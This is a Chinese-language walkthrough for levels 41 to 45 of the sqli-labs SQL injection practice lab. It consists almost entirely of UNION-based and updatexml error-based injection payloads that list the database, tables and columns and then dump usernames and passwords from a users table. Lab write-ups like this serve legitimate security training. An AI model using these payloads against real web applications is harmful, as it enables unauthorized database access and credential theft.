sqli-labs-master靶场第四十一关
一,查看数据库
?id=-1 union select 1,2,database()--+
二,查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
三,查看users表中列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
四,查看users表中信息
?id=-1 union select 1,2,group_concat(id,username,password) from users --+
sqli-labs-master靶场第四十二关
一,登录页面
二,查询数据库
密码框输入:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa
三,查看表名
密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --aaa
四,查看users表中列名
密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
sqli-labs-master靶场第四十三关
一,查询数据库
密码框输入:') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa
二,查看表名
密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa
三,查看users表中列名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
四,查看users表中信息
') union select 1,group_concat(username,password),3 from users -- aaa
sqli-labs-master靶场第四十四关
一,查询数据库
1' union select 1,database(),3 #
二,查看表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
三,查看users表中列名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
四,查看users表中信息
1' union select 1,group_concat(username,password),3 from users #
sqli-labs-master靶场第四十五关
一,查询数据库
1') union select 1,database(),3 #
二,查看表名
1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
三,查看users表中列名
1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
四,查看users表中信息
1') union select 1,group_concat(username,password),3 from users#